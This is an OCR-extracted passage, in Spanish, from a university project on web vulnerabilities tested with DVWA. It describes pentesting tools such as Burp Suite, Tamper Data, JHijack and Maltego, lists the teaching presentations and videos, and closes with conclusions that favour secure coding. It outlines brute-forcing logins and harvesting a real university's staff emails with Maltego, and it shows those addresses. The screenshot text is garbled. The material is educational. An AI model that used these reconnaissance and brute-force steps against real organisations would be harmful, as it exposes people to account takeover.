¢ Herramientas Wireless — Wifi.
e Herramientas NFC.
e Sniffers de Red.
e Herramientas VolP.
e Sniffers Web.
e Backdoors.
e Herramientas de Tunneling.
e Debuggers (Decompiladores) y Reversing.
e Herramientas Stress de Red (Web, Wian).
e Herramientas Android.
e Herramientas de Analisis Forense (Creacion imagenes, Suites, RAM,
PDF).

34 http://blog.elhacker.net/2014/01/kali-linux-listado-completo-de-herramientas-tools.html
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Referente a la seguridad de los datos, Kali Linux trae una funcionalidad
novedosa, la autodestruccion, que permite eliminar los datos cifrados
existentes en el disco duro de forma permanente.

Esta nueva funcionalidad ha sido muy debatida entre los hackers, ya que dicha
funcion, da a entender que el software y hardware se estan utilizando para
usos no éticos ni legales. Kali Linux se defiende explicando los usos legitimos
de dicha funcionalidad, como puede ser la destruccion de la informacién
sensible, tanto personal como empresarial, en el caso de que el equipo sea
robado. Si se llega a recuperar el equipo, la informacién podria recuperarse con
la llave de restauracion adecuada.
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5.2. Herramientas de apoyo

Entendemos por herramientas de apoyo, a todas aquellas aplicaciones que nos
van a permitir realizar los Pen-Testing, tanto un entorno legalmente seguro,
realizando auditorias de seguridad en las Webs corporativas, con el permiso de
la empresa, o en un entorno inseguro, usandolas para fines maliciosos.

Todas estas aplicaciones suelen venir ya instaladas y configuradas en las
distribuciones que hemos visto, y dependiendo de la finalidad de la distribucion,
auditorias de red, de Web, de Wifi, ect, las herramientas que traeran son
diferentes, como hemos visto con detalle en la distribucibn Samurai y Kali
Linux.

A continuacién vemos con detalle las funcionalidades que nos dan las
herramientas que hemos usado para realizar los Pen-Testing.

5.2.1. BurpSuite®

BurpSuite es una herramienta imprescindible, para poder realizar los ataques
de vulnerabilidad en las paginas Web tanto de forma manual como de forma
automética, tanto aislados como combinados. Nos facilita una gran cantidad de
componentes con funcionalidades dentro de un entorno integrado y facil de
usar. BurpSuite nos ayuda a comprobar si los mecanismos de autentificacion
implementados en la pagina Web son robustos.

Es una aplicacion desarrollada por la empresa PortSwigger LTD, y se nos
presenta en dos modalidades, en la gratuita, Burp Free y en la de pago, Burp
Professional.

La version de pago esta disponible por $299 usuario/afio, un precio muy
asequible para cualquier empresa de desarrollo de software web que quiera
realizar Pen-Testing a sus aplicaciones Web como parte de un control de
calidad.

En ambas versiones podemos acceder a las siguientes herramientas:

e Burp Proxy.

e Burp Spider.

e Burp Repeater.
e Burp Sequencer.
e Burp Decoder.

e Burp Comparer.

Y solo en la edicion profesional encontramos las siguientes herramientas:

e Burp Intruder.
e Burp Scanner.

35 http://www.sniferl4bs.com/2014/01/burpuite-i-primeros-pasos.html

José Carlos Novella Roman 138



o
& Y
) Explotacién de vulnerabilidades web a través de DVWA

e Save and Restore.
e Search.

e Target Analyzer.

e Content Discovery.
e Task Sheduler.

e Release Schedule

5.2.1.1. Instalacion

Podemos descargarnos BurpSuite de la pagina de porstwigger3® y realizar la
instalacion en Windows o Linux. Tras esto, Unicamente hay que ejecutarlo, y
como es una aplicacion java, puede ejecutarse en cualquier plataforma.

Necesita poco espacio en disco, alrededor de 100 Mb, pero en cambio necesita
grandes cantidades de memoria, siendo lo usual 2 Gb.

5.2.1.2 Funcionamiento

El funcionamiento es sencillo, la forma de actuar BurpSuite es interceptando la
comunicacién entre el servidor Web e Internet, es decir, se comporta como un
Proxy.

Para configurarlo tenemos que irnos a la pestana ‘options’ de la pestafa
‘Proxy’, y pondremos la IP 127.0.0.1 y el puerto 8082.

Burp Intruder Repeater Window Help

[ Target Tmey T Spider I Scanner T Intruder I Repeater T Sequencer T Decoder I Comparer T Extender T Options I Alerts ]

[ Intercept T HTTP histary T WebSockets history TOpmns 1

Proxy Listeners

Burp Proxy uses listeners to receive incoming HTTP reguests from your browser. “ou will need to configure your browser to use one of the lic

Running | Intsrface | Invisible | Redirect Certificate
& 127.0.0.1:8082 d Per-host

Each ingtallation of Burp generates its own CA certificate that Proxy listeners can use when negetiating S5L connections. ou can import or &3
another installation af Burp.

CA certificate ...

E1S

Figura 184. Burp Suite. Configuracion proxy.

3 https://portswigger.net/burp/download.html
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Y configuramos que es lo que queremos que Burp Suite intercepte:

Burp Intruder Repeater Window Help

[Target Tmey TSpider TScanner T Intruder T Repeater TSequenoer T Decoder ]’Cumparer IEx‘tender I{}pﬁnns TAlerts ]

[ Intercept T HTTP history T WebSockets history T()plmns 1

7 | Intercept Client Requests

| Use these settings to control which requests are stalled for viewing and editing in the Intercept tab.

& Intercept requests based on the following rules:

Add J Enabled | Operator | WMatch type Relationship | Condition
\ 4] File extension Does not match (*gifS*jposi*pngSitcesiftis S icos)
] Or Request Contains parameters
[E4] Or HTTP method Does not match (getipost)
(] And URL ls in target scope

[J Automatically fix missing or superflucus new lines at end of request

& Automatically update Content-Length header when the request is edited

Figura 185. Burp Suite. Configuracion intercepcion.

Tras esto, s6lo nos queda configurar el navegador, se recomienda el uso de
FireFox, pero puede interceptar cualquier navegador, Unicamente, tenemos que
cambiar la configuracion de conexién de Firefox e introducir los parametros del

proxy.

Este proceso puede ser mas agil si instalamos el complemento de FireFox,
FoxyProxy Standard, que se encarga de gestionar los proxys.

4

,’
Archive Ayuda

Seleccionar modo: | Deshabilitar FoxyProxy completarnente hd |

|-5J Prowys | gi| Proxy Subscriptions | ¥ Pattem Subscriptions | () Opciones globales| ; QuickAdd| = Registro|

Habilitado Color MNombre del proxy Motas del proxy =3 r.;} Movwer arriba

@ Mover abajo
_ Por defecto Estas opciones se usaran cuand...
ﬂ&ﬁadir NUEVD proxy

5 Editar seleccion
_i Copiar seleccién

B Borrar seleccién

|. Por favor, haga una donacién | | ﬁ(}b‘lener FoxyProxy Plus | | @Comgrarelsenridoproxy | | FoxyProxy for Chrome | | Cerrar |

Figura 186. Complemento FoxyProxy.
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Tras esto, BurpSuite interceptara todas las peticiones, como hemos visto en los
puntos anteriores (4.1.2.1). Una vez que intercepta una peticion, el trafico entre
el cliente y la web se queda parado.

Tras interceptar las peticiones, la peticidon la enviamos a ‘Intruder’, y la peticion
de autentificacion la podremos modificar, para enviarlas nuevamente a la
aplicacion Web, probando las diferentes claves introducidas, o bien
introduciendo un diccionario completo, hasta encontrar la combinacion correcta
usuario/contrasefia que nos dé acceso a la Web. Esta funcion y el proceso
completo la hemos visto en el punto 4.1.2.1 del presente PFG, también lo
podemos ver en el video que se adjunta.

5.2.2. Firebug

Firebug es una extensibn de Firefox, dirigida a desarrolladores vy
programadores web, aunque también es usada por hacker y Jackers para
realizar auditorias o ataques respectivamente. La principal utilidad de Firebug
para el analisis de vulnerabilidades, es que nos permite, en tiempo de
ejecucion, analizar el cédigo, tanto CSS, HTML y JavaScript y modificarlo
segun nuestras necesidades. En este PFG lo hemos utilizado para modificar el
campo Password, dejandolo como input, para asi poder ver los caracteres
introducidos, y aumentando su longitud, para asi poder introducir sentencias
SQL, como podemos ver en la Figura 147 del apartado 4.4.2.1.

Firebug fue creado por Joe Hewitt, y lanzado el 12 de enero de 2006 y es un
proyecto de Open Source.

Archivo Editar Ver Historial Marcadores Herramientas Ayuda X
@ Universidad de Alcala (UA.. X

€ | @ www.uahes ¢| @ |Q Buscar wBa 9 3 a & -

[E3 Facebook [ Blackboard Learn %4 inicio [ Gestiona tus reservas -.. £ Login [Z] How to work with We...

£2% Universidad

ilida
I

p
Wi de Alcald

Ini ectorio | Contacto | Dénde estamos | Diario Digital | Agenda | Correo |

11\ . NUESTROS ESTUDIANTES,
= Tt ) e - ENTRE LOS
= e, AN va - MAS DEMANDADOS,
\/ % (4 % SEGUN EL ESTUDIO DEL MECD
3 NVERSDAD E
UNIVERSIDAD ES ,
# B { > )= Consola | HTML~ | (S5 Script DOM Red Cookies P Buscar por texto o selector CSS A v BEE@

s | Editar | « img.portada_slider < a.popup_imagen < div#featured.orbit ¢ div.orbit-wrapper < div#conte..rincipal < k* | Estilo v | Calculado Plantilla DOM Eventos 2

img.portads_slider { slide_portada.css (finea230) ™
width: 974px;

}

a img { uah_general.css (linea 38)
border-width: 0;

1

L | uah_general.css (linea 3)
margin: 0;
padding: 0;

.min.js" type="text }

e Heredado de = _popup_imagen inicio.shtm

div.orbit > a { slide_portada.css (linea 34)
line-height: 0;

i =4 d& a { uah_general.css (linea 30)
<img class="portada_slider" alt="Greenmetric" src="http://www.uah.es/grafica
/portada/greenmetric.ipg™>

Figura 187. Detalle funcionamiento FireBug.
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5.2.3. Tamper Data

Tamper Data®’ es un programa desarrollado por Adam Judson, que se
presenta como complemento de Firefox, proporcionando ayuda a los
administradores de sitios web, para que puedan probar, de forma sencilla y en
tiempo real, los mensajes que envia la pagina web al servidor.

Con Tamper Data, es posible interceptar el trafico entre cliente web y servidor,
y parar la conexion para modificar los parametros de las cabeceras
HTTP/HTTPS y los parametros POST que se estdn mandando, una vez
modificados, se reanuda la conexién entre el cliente web y el servidor.

En este PFG hemos usado en varias ocasiones el complemento Tamper Data
para interceptar la comunicacién entre los clientes web y los servidores, como
por ejemplo, en la vulnerabilidad ‘4.3.3.2 Escalada de privilegios’.

La instalacibn de Tamper Data es muy sencilla, ya que se ejecuta como
complemento del navegador FireFox, y también tenemos Tamper Chrome, que
es una extension de navegador Chrome.

@ - Tamper Chrome (extension) + ARORAGROME | < |
ofrecido por tamper-chrome
Fededd (4 He: i e
DESCRIPCION GENERAL OPINIONES AYUDA RELACIONADOS G+

= | @ Compatible con t dispositivo

e Allows the user to modify requests as
et they happen.

......

Tamper Chrome allows you to monitor

Explare Our Guestion

pagf

e el ~om e i e

Waking for mtensian mper chrame [atersig
Q_Ekren Need Srces Tinelne rocig

e

e A Sitio web
o Motificar uso inadecuado

Versién: 1.3

% Roquest Haaders

Ultima actualizacisn: 6 de junio de 2015
Tamafio: 19.08KB
Idioma: English

Figura 188. Instalacion Tamper Chrome.

37 http://tamperdata.mozdev.org/
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5.2.4. JHIJACK

JHijack es una aplicacion desarrollada por Yangon Ethical Hacker Group, esta
realizada en Java y permite el secuestro de sesion numérica y enumeracion de
parametros.

En este PFG hemos utilizado JHijack en el apartado 3 Blind Numeric SQL
Injection del apartado 4.2.3.9 Injection Flaws para obtener el valor del campo
‘name’.

El funcionamiento es sencillo, rellenamos los parametros deseados, y el rango,
en el que pensamos que se encuentra el valor buscado, para que JHIJACK
pruebe con todas las combinaciones posibles hasta encontrar el valor que
estamos buscando.

Lo podemos descargar desde la pagina oficial de YGN Hacker Ethical Group?e.

Una vez descargado, solo tenemos que descomprimir el archivo .zip y ejecutar
‘JHijack.jar’ que corre sobre cualquier maquina que tenga Java instalado.

Simple JHijack v0.1 beta - hitp:iiyehg.org

| New H Save Resulis ” Save Configs " Reload Config File " Choose Config File H Clear Console " About ‘

Host: | | [console output:
Port: | |

urt: | |

Method: W GET ) POST

Grep: | |

sessp: | |

HijackType: (@ COOKIE 2 URL ) BODY

HijackID: | |

HijackData: ® Numeric (2 File

Result:

| Hick | | stop | | bt

Figura 189. Aplicacion JHijack.

38 http://yehg.net/lab/pr0js/files.php/jhijackv0.1beta.zip
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5.2.5. Maltego

5.2.5.1 Introduccion

Si queremos tener unas paginas web corporativas seguras, lo primero que
tenemos que hacer es controlar que informacion nuestra hay en la red. Para
averiguarlo, disponemos de la aplicacion Maltego, que nos permite buscar
informacion sobre personas y empresas en internet, en los diferentes servicios,
como puede ser servidores de correo, redes sociales, etc. Maltego, ademas,
permite cruzar toda esta informacion.

Con Maltego vamos a poder obtener direcciones de correo, IP, paginas webs,
etc, facilitandonos informacion para poder realizar ataques y de esta forma
comprobar la seguridad de la red corporativa de la empresa.

5.2.5.2 Instalacién
Nos podemos bajar Maltego para los siguientes sistemas operativos:

- Windows.
- Mac.
- Linux

La aplicaciéon se puede descargar de su pagina oficial®® , teniendo disponible la
version libre para la comunidad, y la version comercial. La version libre
requiere de registro.

Welcome to Maltego! 2 &) B

Startup wizard - Login (1 of 2)

Enter your details below to log in to the Maltego Community Server

Or if you have not done so yet, register here

Login
* Email Address [josecnovella@hotmail com |

Password | ........ |

Pﬂ'\\\ WasHere

* Solve captcha [Paul WasHere |

e ]

Figura 190. Registro Maltego.

Tras registrarnos, nos mandaran una APl Key por correo, la cual sélo tendra
una validez de 3 dias.

» https://www.paterva.com/web6/
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5.2.5.2 Funcionamiento

Una vez que nos hemos registrado, podemos realizar busquedas sobre
diferentes elementos, los cuales aparecen como categorizados como
dispositivos, infraestructura, localizaciones, test de penetracion y personal.

Si queremos averiguar los correos de una organizacion, y los diferentes
subdominios, podemos empezar a investigar empezando por su pagina publica,
como puede ser www.uah.es.

E tewonh 1) <[ hewsrogh 0 [6 ewconn ) [ B
ManView | BubbleView Enttytst ) @ [ B | |l [ o bl st :
lain View | Bubble View ity Lis \,‘ ‘L ‘ ’h“‘ 8 \ B

3 b

e \&/

v

212.128.64.11 uah.es £
® W
2121286411~ uahes
Y ra y \ A
1 ] | {
lp .l .E ines.diazlaviada@uah.gs  roberto.gil@uah.g carmen.p h.es eduardo.gonzalez (]
- - ¥ ¥ \| {
dns.uah.g www.uahes intranetuah.es
tacks.iop,0rg mfranco@uah.es mariafofres@uah.es pablolopez@uah.es
1 1 1 ¢ Y
LI B
e -
internaluah.es  web.uah.es mx.uah.es
emilio.chuvieco@uah.es  elena.garciab@uah.es  inmaculada.aguado@uah.es  francisco.escrib hes
Figura 191. Maltego. Busqueda dominios. Figura 192. Maltego. Busqueda e-mail.

Una vez averiguados los dominios y las direcciones de correo, ya hemos
conseguido averiguar de multitud de usuarios del sistema, con los que, por
ejemplo, poder realizar un ataque de fuerza bruta y averiguar su contrasefa.

Maltego proporciona muchas mas posibilidad, como por ejemplo:

e Averiguar la IP.

e Averiguar todos los websites de un dominio.

e Ver los titulos de las paginas web y su IP.

e Ver las tecnologias que usa el website, muy importante para analizar las
posibles vulnerabilidades.

e Buscar servidores de correo y saber su website, titulo y tecnologias.

e Localizaciones fisicas.

e Localizar los DNS y sus IP.
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6. Herramientas de difusion

A lo largo de este documento, hemos comentado en multitud de ocasiones, que
la finalidad de las herramientas de Pen-Testing es conocer las vulnerabilidades,
para asi poder realizar una programacion mas segura, que sea capaz de hacer
frente a esas vulnerabilidades y crear webs seguras.

Por lo tanto, uno de los objetivos de este PFG, es hacer llegar lo aprendido al
mayor numero de personas, creando para ello soportes atractivos que puedan
ser usados para difundir esa informacion.

Junto a este PFG se adjunta un DVD-ROM, que contiene presentaciones y
videos, de lo mas importante visto en este PFG.

El contenido del DVD-ROM es el siguiente esta formado, aparte de la presente
memoria, por presentaciones PowerPoint, y por videos.

6.1. Presentaciones

Las presentaciones PowerPoint son las siguientes:

1. Presentaciéon_DVWA: contiene 103 diapositivas, que tratan los
siguientes aspectos:
Introduccion.
Instalacion.
Acceso
Vulnerabilidades: Se ve la definicion de la vulnerabilidad, se
reproduce, y se dan consejos para evitarlas. Las
vulnerabilidades tratadas son:
o Brute Force.
o Command Execution.
o CSRF.
o Insecure Captcha.
o File Inclusion.
o SQL Injection.
o SQL Injection (Blind).
o Upload.
o XSS Reflected.
o XSS Stored.
2. Presentacion WebGoat: formada por 78 diapositivas, en las que se
trata:

VVVY

Introduccion

Instalacion.

Acceso.

Vulnerabilidades: se ven las siguientes vulnerabilidades, con
su introduccién, desarrollo, y técnicas para evitarlas.

VVVY
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o Acces Control Flaws.

o AJAX Security.

o Autentication Flaws.

o Buffer Overflows.

o Code Quality.

o Concurrency.

o Cross-Site Scripting(XSS).
o Denial of Service.

o Improper Error Handing.

o Injection Flaws.

3. Presentacion BadStore.net: esta formada por 26 diapositivas, la
longitud es menor, puesto que ya hemos visto todos los tipos de
ataque en la presentacion de DVWA y WebGoat, y verlos
nuevamente en BadStore, Mutillade, y Hacme Casino, supondria
repetir nuevamente las mismas técnicas y conceptos. La
presentacion incide en la gran diferencia de BadStore, sobre las dos
anteriores, ya que BadStore simula ser una tienda on-line normal, en
la que los menus con vulnerabilidades son sustituidos por menus
funcionales, como login, productos, cesta de la compra, etc. por lo
qgue el usuario tendra que tener la habilidad de encontrar aquellas
partes de la web que puden ser susceptibles de sufrir ataques.
Aparte, vemos como se realiza su instalacién, y como se accede a
ella, y se realizan los siguientes ataques:

o Forced Browser. Es un ataque que hasta ahora no
habiamos visto.
o Escalada de privilegios. Tampoco lo habiamos visto.
o SQL Injection.
o XSS
4. Presentacion Mutillidae: formada por 25 diapositivas, donde se trata:
» Introduccion.
» Instalacion.
» Acceso.
» Vulnerabilidades.
o SQL Injection.
o Insecure Direct Object References.
5. Presentacion Hacme Casino: Esta formada por 12 diapositivas, en
las que recorremos los siguientes aspectos:
» Introduccion.
» Instalacion.
» Acceso.
» Vulnerabilidades: vemos las siguientes:
o SQL Injection.
o XSS.

6. Distribuciones y herramientas de apoyo: En esta presentacion

formada por 54 diapositivas se ven los siguientes temas.
» Introduccion Distribuciones.
» Distribuciones:
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6.2. Videos.

o NST.

o nUbuntu.

o STD.

o Helix.

o DVL.

o Wifislax.

o Wifiway.

o Back Box.

o Samurai.

o Kali Linux.
» Herramientas.

o Burp Suite.

o FireBug.

o Tamper Data.

o JHijack.

o Maltego.

El DVD-ROM también contiene videos, en los cuales, se hace una introduccion
del ataque, para posteriormente realizarlo. Contiene los siguientes videos,

agrupados por las herramientas vulnerables vistas en este PFG:

o DVWA. En los videos DVWA aparte de ver la introduccion y el ataque, al

final se hace una comparativa entre el cédigo seguro y no seguro.
1.

9

©NOOhWDN

BruteForce.
CommandExecution.
CSRF.

File Inclusion.

SQL Injection.

SQL Injection (Blind).
File Upload.

XSS Reflected.

XSS Stored.

o WebGoat. Se incluyen los siguientes videos:

1.

©CoNoO kWD

Bypass Business Layer Access Control.
Bypass Data Layer Access Control.
Improper Error Handline.

Numeric SQL Injection.

Remote Admin Access.

String Injection.

WSDL Scanning.

Log Spoofing.

Command Injection.

o BadStore. Se incluye un video, en el que podemos ver las principales
caracteristicas diferenciadoras de BadStore, respecto a lo ya visto.
Podemos ver:
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e Introduccion.
e Instalacion. Se trata en profundidad.
e Realizacidon de ataques:
=  SQL Injection.
= XSS.
o Muitillidae: en este video, vemos los siguientes aspectos:
e Introduccion.
¢ Instalacion.
e Realizacién de ataques:
= SQL Injection.
= XSS.
o Hacme Casino. Se tratan los siguientes temas:
e Introduccion.
e Instalacion. Se ve en profundidad, ya que es diferente al resto.
e Realizacidén de ataques:
= SQL Injection.
= XSS.
o Herramientas: podemos ver videos de las siguientes herramientas, y
como nos ayudan para realizar los Pen-Testing:

e BurpSuite.

e Maltego.

e TamperData.
e Firebug.

Todas estas presentaciones y videos, son facilmente accesibles, gracias a una
pagina web incluida en el DVD-ROM, que trae hipervinculos a estos recursos.
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Conclusiones

Segun el diccionario de la Real Academia Espafiola, el termino vulnerable (Del
lat. vulnerablilis), se refiere a ‘Que puede ser herido o recibir lesion, fisica o
moralmente’

Esta definicion se adapta bastante bien al contexto de la informatica, ya que
cualquier ataque, que aproveche una vulnerabilidad en un sistema Web, va a
ocasionar gran dafilo moral, por la delicadeza de los datos que pueden ser
puestos al descubierto y herir la reputacién de una empresa.

En informética, también podemos entender como vulnerabilidad una violacion
de la confidencialidad e integridad de los datos o una violacién del control de
acceso al sistema.

Como comentdbamos al principio de este PFG, vivimos en una sociedad en
gue todo se produce pensando en la rapidez de la entrega del producto, y el
coste, no siendo siempre conscientes de la importancia de la seguridad,
sacando al mercado productos que tienen vulnerabilidades, o no han sido
probados para dar las suficientes garantias.

Cada dia es mas importante una concienciacion sobre la importancia de la
seguridad, ultimamente estamos viendo en las noticias casos sorprendentes
como la publicacion de los nombres y apellidos de una pagina de contactos,
pero la historia nos dice que el robo de datos a grandes empresas es algo
habitual, como les ha pasado a grandes empresas*’, como el robo de tarjetas
bancarias, el robo de usuarios a eBay, cuentas bancarias de usuarios de
Adobe, el robo a Heartland, los datos de los clientes de TJX, AOL, el gran
golpe dado a Sony que causo un gran escandalo en la compaiiia, etc.

Como creadores de aplicaciones web, debemos ser muy cuidadosos en su
desarrollo, y siempre pensar, que por pequefia que sea una aplicacion en un
principio, puede llegar a crecer, y albergar datos sensibles, y a concienciarnos,
que cada vez que disefiemos una base de datos, estamos creando un
contenedor de datos, un fichero que albergara datos protegidos segun la
LOPD* o la legislacién de diferentes paises.

Para llevar la concienciacion al mundo de la ensefianza y al mundo empresarial
del desarrollo, tenemos las herramientas que hemos visto, como DVWA,
WegGoat, HACME, BadStore, y el extenso material docente de la Catedra
Amaranto, gue nos ensefaran las vulnerabilidades que puede sufrir una pagina
web, para de esta forma nosotros poder crear paginas seguras.

Pero no debemos olvidar, que estas herramientas se pueden convertir en un
arma de doble filo, ya que los conocimientos que transmiten, pueden ser
usados para crear paginas seguras, o bien difundir al gran publico las

40 http://es.gizmodo.com/los-10-mayores-ataques-informaticos-de-la-historia-1580249145
41 www.agpd.es
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diferentes técnicas de ataque existentes, técnica que antes eran conocidas por
personas muy especializadas, pero que gracias a los canales de internet, se
difunden con gran rapidez.

Como programadores, la leccion recibida por estas herramientas, es que
debemos de huir del cédigo “confiado”, aparte del codigo a pruebas de errores,
debemos desarrollar un codigo a prueba de Jackers, es decir, personas que
van a utilizar los formularios de nuestra web para intentar insertar algun tipo de
codigo SQL o comandos. También debemos dar la mas minima informacion
posible en nuestra pagina, por lo que no permitiremos que se visualice ningan
mensaje de error del sistema. Resumidamente, todas las entradas y salidas
seran filtradas, algunas de estas técnicas, se pueden ver en las presentaciones
adjuntadas con este PFG.

Este panorama, de personas que cada vez intentan realizar ataques a las
paginas de empresas, unidas a las pérdidas econdmicas que ocasionan la
perdida de datos en las empresas, haran que estas cada vez den mas
importancia al desarrollo seguro en sus aplicaciones, y se valore el uso de
programacion defensiva contra ataques.

Sobre las herramientas de Pen-Testing que hemos visto, destacar de DVWA,
WebGoat y Mutillidae, su excelente estructuracion, que permite al investigador
de forma agil practicar con las vulnerabilidades que quiere conocer.

BadStore y Hacme Casino sorprende gratamente, por ser paginas no
estructuradas, sin un indice, y aparentemente normales, en las cuales el
investigador tiene que enfrentarse a una pagina y encontrar las puertas de
acceso al sistema, desde los diferentes formularios de las paginas.

La introduccién de estas herramientas en el entorno docente, gracias a
iniciativas como las de la Catedra Amaranto, esta consiguiendo dar unas
lecciones, desde basicas hasta avanzadas, sobre seguridad a todos los futuros
programadores, creando un mundo conectado mas seguro.

Su uso generalizado en todas las empresas de desarrollo, nos hara conseguir
la seguridad digital e internet del futuro que todos deseamos.
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